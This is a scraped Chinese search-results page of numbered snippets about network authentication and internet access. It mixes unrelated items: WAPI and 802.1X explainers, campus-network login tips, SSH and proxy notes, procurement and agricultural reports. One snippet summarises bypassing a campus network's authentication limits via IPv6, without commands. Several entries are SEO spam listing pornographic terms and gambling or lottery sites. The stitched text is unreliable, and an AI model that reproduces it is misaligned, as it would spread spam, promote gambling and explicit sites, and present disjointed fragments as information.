4.WAPI产业联盟(江苏省信息安全测评中心)、西电捷通公司、北京数字认证股份有限公司、华为技术有限公司、新华三技术有限公司、北京联盛德微电子有限责任公司、深圳市信锐网科技术有限公司、北京华信傲天网络技术有限公司、广州莲雾科技有限公司、上海乐研电气有限公司、深圳市智开科技有限公司、西安芯语慧联信息科技有限公司、南京博洛米通信http://www.wapia.org.cn/yaowen/detail_342507.shtml
5.网络安全及信息安全保障措施登逆认证网络安全 系统服务器及其他计算机设备均设置经过公安部认证的防火墙与安全设备,确保网络传输的安全性。 正版防病毒软件 在系统的服务器和工作站上均安装正版防病毒软件,并定期更新,防止病毒和恶意软件的侵入。 生产日志管理 系统具备保存60天以上的系统运行日志及用户使用日志功能,记录内容包括IP地址、访问情况、主页https://denlee.cc/archives/d0oIyNlm
6.重庆政府采购网网络安全等级保护测评及信息安全服务 重庆电子科技职业大学指定信息系统 对指定系统开展安全运营、安全巡检、脆弱性检查、渗透测试、安全加固;开展安全管理体系建设、驻场安全运维、新系统上线前安全评估等工作 2025年1月1日至2025年12月31日 新系统上线前安全评估不少于8个信息系统;其他服务对象不少于50个信息系统(以最https://www.ccgp-chongqing.gov.cn/info-notice/procument-notice-detail/1444771087685824512
7.2222校园网认证登录入口校园网认证登录入口关于2.2.2.2.校园网认证登录入口,校园网认证登录入口很多人还不知道,很多读大学的小伙伴最近都碰到了笔记本连不上校园网认证页面的情况,导致自己不能上网冲浪,很是困扰,为了帮助大家排忧解难,小编特意到网上搜集了两种解决方法,亲测有效,大家如果碰到这个问题的话,赶紧来IT百科看看小编带来的教程https://zhidao.baidu.com/question/1906066217953720300.html
8.2222C. 业务设备是指对编排设备引入的业务流进行安全业务处理的设备,主要包括防火墙设备、防病毒设备和上网行为控制设备 D. 业务链是指由经过GRE隧道处理的业务自动化控制系统,可以提供统一的策略引擎,在整个组织内实施统一的 访问策略,实现基于用户身份,接入时间、接入地址、接 入类型、接入方式(简称5H1W)的认证与https://www.wjx.cn/vm/rjwApRc.aspx
9.GA:WA3011.1公共场所无线上网安全管理系统数据传输交换规范 GA/WA 3011.5-2015 公共场所无线上网安全管理系统统一XML Schema接口规范上网服务场所端技术要求上网管理上网用户管理应具备互联网访问管理功能,具体要求如下:对未通过认证的上网终端禁止访问互联网,对于认证成功的上网终端允许访问互联网;上网终端若一段时间无上网操作,应将其https://max.book118.com/html/2022/0426/8143041025004075.shtm
10.深信服信锐无线AP系列DIS二维码审核认证访客终端接入无线网络后,终端自动弹出二维码页面,审核人通过手机扫描访客终端二维码,访客即可上网。并以审核人+备注+访客终端MAC三维记录该访客用户,具有用户可追溯性,保证了网络安全性。 临时访客认证内置临时用户信息管理系统,临时用户在有效期内可以登录,超过有效期无法登录;内置临时账号管理的二级权限系统,http://www.itbuy365.com/index.php?product-2222.html
11.原理ipv6机制绕过认证限制双路由器宿舍组网云控系统而tplink的无线网 Vff0c;所有系统的方法也都可以全天连贯上网 Vff0c;并且每天只用一个账号认证一次便可 Vff0c;后续方法都不用再认证。同时tplink路由器可以获与到ipZZZ6地址 Vff0c;但也没有任何用 Vff0c;因为没有前缀授权 Vff0c;基层子网是获与不到ipZZZ6地址的。 http://m.news.weimengcloud.com/yk/10284.html
12.一次简单的计网实践——浅谈校园网认证原理ipv6机制绕过认证限制本文详细介绍了山东大学威海校区的校园网ipv4和ipv6的认证机制,包括深澜软件的认证系统、ipv4+mac+学号的认证流程以及ipv6的分配方式。文章还探讨了如何通过ipv6地址绕过晚上的认证限制,并提到了宿舍双路由器的组网方案,以支持更多设备的网络需求。 摘要由CSDN通过智能技术生成 https://blog.csdn.net/zsq_csh1/article/details/129322631
13.2.2.2.1上网认证登录盖复18829493326》无线路由器怎么要认证才能上网 - 仲樊608……》 1、首先你必须连接正确,路由器的WAN口通过网线连接到猫上面,必须用直通网线,路由器连接电脑的也得是直通网线,2、你的设置必须正确,正确的设置方法是:将电脑和路由器连接上以后显示出本地连接已连接,并且连接正常.如果https://www.da-quan.net/ti/2.2.2.1%E4%B8%8A%E7%BD%91%E8%AE%A4%E8%AF%81%E7%99%BB%E5%BD%95.html
14.交换机802.1X认证配置IEEE802.1x的体系结构中包括三个部分:Supplicant System,客户端;Authenticator System,认证设备;Authentication Sever System,认证服务器。 在客户端(如LanSwitch)实现 IEEE802.1x的认证系统部分,即Authenticator;IEEE802.1x的客户端一般安装在用户PC中,典型的为Windows XP操作系统自带的客户端; IEEE802.1x的认证服务器系统https://network.51cto.com/article/412349.html
15.支持API代理认证。websocke代理tcp代理udp代理socket一款轻量级、功能强大、高性能的http代理、https代理、socks5代理、内网穿透代理服务器、ss代理、游戏盾、游戏代理,支持API代理认证。websocke代理、tcp代理、然后设置你的windos系统中,需要通过代理上网的程序的代理为socks5模式,地址为:127.0.0.1,端口为:8080,程序即可通过加密通道通过vps上网。 5.4.SOCKS三级代理https://github.com/snail007/goproxy-cn
16.警惕远程访问威胁日后使用远程桌面连接功能远程访问本地计算机系统时,必须通过“IP地址:端口”方式来进行。比方说,笔者单位局域网中有一台61.155.50.140的服务器,现在要在家中使用远程桌面连接功能远程控制该服务器,那就需要先打开远程桌面连接对话框,在如图2所示的地址框中输入“61.155.50.140:2222”,这样才能确保远程访问操作成功进行。http://www.360doc.com/content/12/0512/08/5727660_210447930.shtml
17.农产品质量安全工作总结精选20篇根据“加快基地建设,推进名牌战略”的实施意见,今年,我局积极扶持农业龙头企业、农民专业合作组织,搞好无公害农产品、绿色食品认证,支持农产品企业按照市场化和今年上半年,全市农业系统共出动执法车辆321台次,出动执法人员1179人次,检查整顿农资市场449个,检查农资经营企业及经营户2222个,受理投诉案件20件,查获收缴各类https://www.oh100.com/a/202305/6811747.html
18.农产品质量安全工作计划3、强化“三品一标”建设管理。现代农业园区的主导产业示范区和精品园应100%取得“无公害农产品”认证,鼓励主要农产品达到绿色食品认证标准。开展对“三品”基地的规范化指导与监管工作,严格证后监管,规范“三品”农产品的用标行为。 4、强化产地准出管理。完善提升农产品基地快速检测点和追溯示范点管理,建立农产品生https://www.ruiwen.com/gongwen/gongzuojihua/1311315.html
19.www.scmc系统要求: 5.41以上 应用介绍 一,diyecao68 ,birty男男gv网站 二,a v偷拍,TuBEⅩⅩXX24 三japan乱videos老少配 2023最新实名认证身份号大全 大雷操逼av观看 国产pornxxxxx 狂操坦克熟女 青柠无码在厨房作爱在线观看 2222eeee精品视频 日本电影巜寂寞人妻喂奶 亚洲高清无码电影在线观看 精子饮http://www.scmc-xa.com/xxxr/732004.htm
20.小作坊备案证可以上网销售吗认证律师:18万+普法人次:15亿+ 您好, 请问有什么可以帮您? 律师24小时在线,咨询后将为您解答。 您好, 请问有什么可以帮您? 律师24小时在线,咨询后将为您解答。 您好, 请问有什么可以帮您? 律师24小时在线,咨询后将为您解答。 小作坊备案证可以上网销售吗 立即提问 近7日解答 80243 次· 平均回复速度 https://m.64365.com/tuwen/aacnine/
21.关于公示重庆市2016年拟认定高新技术产品(服务)名单的通知关于公示重庆市2016年拟认定高新技术产品(服务)名单的通知 各有关单位: 根据《重庆市高新技术产品(服务)认定管理办法》及《国家重点支持的高新技术领域》的有关规定,经初审及组织专家评审,拟认定干式粉磨分选集成系统等2510项产品(服务)为重庆市高http://www.cqkjw.org/zx/522.html
22.ssh的基本介绍和SSH服务(包含隧道内容)(6).ssh支持多种身份验证,最常用的是密码验证机制和公钥认证机制,其中公钥认证机制在某些场景实现双机互信时几乎是必须的。虽然常用上述两种认证机制,但认证时的顺序默认是gssapi-with-mic,hostbased,publickey,keyboard-interactive,password。注意其中的主机认证机制hostbased不是主机验证,由于主机认证用的非常少(它所读https://www.pianshen.com/article/766947448/
23.权威认证,尊享独特优势:下载网址专属?♂系统要求:7.6以上 应用介绍 彩票分分彩2017gt.com10086客户端下载,欧亚国际公司开户,ip地址196.168.8.14,ng1.cc,高频彩342v.cc,https//ihlw23.com.cn,1973棋牌苹果,今晚澳门特马买什么,660507域名查询10669聊天室123彩票网手机app,j9com九游会,178zb6直播体育,www.逍遥阁.com,welcome新2登录乐鱼app官网下载登录http://m.diorvank.cn/20241219/18833.html
24.史上最全SSH暗黑技巧详解plantegg然后再在 /etc/hosts 中将域名 k8s.gcr.io 指向 127.0.0.1, 那么本来要访问 k8s.gcr.io:443的,变成了访问本地 127.0.0.1:443 而 127.0.0.1:443 又通过ssh重定向到了 108.177.125.82:443 这样就实现了http代理或者说这种特殊情况下的科学上网。这个方案不需要装任何东西,但是每个访问目标都要这样处理,好在这种https://plantegg.github.io/2019/06/02/%E5%8F%B2%E4%B8%8A%E6%9C%80%E5%85%A8_SSH_%E6%9A%97%E9%BB%91%E6%8A%80%E5%B7%A7%E8%AF%A6%E8%A7%A3--%E6%94%B6%E8%97%8F%E4%BF%9D%E5%B9%B3%E5%AE%89/
25.权威认证,尊享独特优势:下载网址专属平台6分app,2肖4码默认论坛,www,2222ga,com,0158棋牌,2020在线娱乐平台河豚NBA直播,乐游棋牌官网接口,77966摇钱树棋牌,10元提现的平台正规,九五资讯app飞天168赛车微信群,bet体育在线网址,pg大奖视频 30万,e彩在线游戏厅,ManBetX手机客户端哪里下载800a网站,凯时kb88U来就送38,九游娱乐官网享誉中外,K8凯发app端,http://m.cwglh.cn/20241218/454.html
26.权威认证,马上抢购:网址抢先网站权威系统要求:7.6以上 应用介绍 90421.cc115官网登录界面bet16最新官方网址,186棋牌网页入口横版,bet网站,傲世皇朝公司网站链接,boda博大下载安装553娱乐,KOK体育软件APP下载,038彩票平台是黑平台吗,55世纪大发下载,118kj开奖现场六肖彩票丫丫,六玄网开奖资料,ace78.Vip,大玩家棋牌老版本2019,分分28预测网最精准彩99aphttp://m.lcjxwl.cn/20241219/4165.html
27.600449宁夏建材最新消息公告正点财经本公司董事会及全体董事保证本公告内容不存在任何虚假记载、误导性陈述或者重大遗漏,并对其内容的真实性、准确性和完整性承担个别及连带责任。 重要内容提示: ●委托理财受托方:交通银行股份有限公司(以下简称“交通银行”) ●本次委托理财金额:10,000 万元。 http://www.zdcj.net/zuixinxiaoxi/600449.html